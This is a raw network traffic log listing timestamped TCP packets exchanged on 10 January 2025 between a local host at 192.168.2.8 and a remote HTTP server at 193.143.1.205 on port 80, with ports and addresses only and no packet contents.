Jan 10, 2025 18:11:32.103312016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.103456974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.103468895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.103482008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.103493929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.103501081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.103517056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.103534937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.103996992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.104010105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.104021072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.104034901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.104053020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.144289970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.144315004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.144330978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.144356966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.144877911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.151653051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.174813986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174851894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174866915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.174879074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174894094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174906969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174921036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174937963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174942017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.174954891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174973011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.174973011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174987078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.174998045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.175014019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.175033092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.186453104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.186487913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.186538935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.186559916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.186575890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.186578989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.186594009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.186599016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.186644077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.205796003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205833912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205851078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205876112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205878973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.205890894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205915928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.205915928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205930948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205946922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205955982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.205960035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205975056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.205992937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.206001997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.206007004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.206022978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.206044912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.216828108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.216850042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.216866970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.216882944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.216893911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.216933012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217032909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217092037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217106104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217122078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217134953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217137098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217164040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217320919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217346907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217363119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217361927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217387915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217402935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217402935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217418909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217433929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217449903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217454910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217472076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217474937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217506886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217528105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217542887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217559099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217575073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217647076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217660904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217686892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217713118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217729092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217755079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217767954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217778921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217788935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217817068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217843056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217864037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217881918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217901945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217915058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217916965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217951059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.217962980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.217977047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218014002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218034983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218101978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218135118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218161106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218175888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218190908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218206882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218214989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218242884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218245983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218270063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218286037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218301058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218310118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218314886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218338013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218527079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218542099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218564034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218565941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218580008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218595982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218600988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218611002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218626976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218641996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218667030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218696117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218713045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218727112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218741894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218754053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218758106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218770981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218786955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218811035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.218946934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218961954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.218977928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219005108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219017982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219033957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219049931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219053984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219088078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219099998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219115019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219130993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219146967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219153881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219187975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219225883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219240904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219254971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219270945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219289064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219304085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219304085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219331980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219347000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219347000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219364882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219389915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219638109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219664097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219679117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219702959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219728947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219743967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219764948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219767094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219789982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219806910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219814062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219820976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219845057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219918013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219933987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219949961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219966888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219966888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.219984055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219995975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.219997883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.220088959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.264653921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271620989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271642923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271667004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271682024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271697044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271697044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271720886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271730900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271740913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271755934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271760941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271806002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271816015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271831036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271857023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271871090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271872044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271895885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271904945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.271910906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.271965027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.279818058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279836893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279850006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279861927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279875040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279886007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279887915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.279898882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.279911041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.279954910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.296706915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296741009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296753883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.296758890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296782017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296792984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.296797991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296813965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296828985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.296838999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.296870947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.309591055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309608936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309622049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309627056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309639931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309650898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309662104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309663057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.309674978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309730053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.309752941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309760094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.309765100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309776068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309787989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309799910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309803009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.309806108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309813023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309824944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.309843063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.309927940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310102940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310113907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310120106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310126066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310132027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310143948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310149908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310156107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310163021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310173988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310179949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310208082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310225010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310261011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310273886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310286999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310298920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310312986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310410976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310419083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310430050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310441971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310453892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310466051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310471058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310488939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310578108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310589075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310600996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310614109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310619116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310625076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310636997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310647964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310656071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310658932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310671091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310671091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310683012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310693979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310720921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310863972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310875893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310887098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310899019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.310903072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.310934067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311027050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311044931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311055899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311068058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311078072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311083078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311096907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311106920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311109066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311120987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311127901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311132908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311145067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311161041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311171055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311183929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311191082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311196089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311208010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.311209917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.311234951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.317780018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.327747107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.327991962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328023911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328041077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328052998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:11:32.328056097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328079939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:11:32.328088045 CET	49704	80	192.168.2.8	193.143.1.205
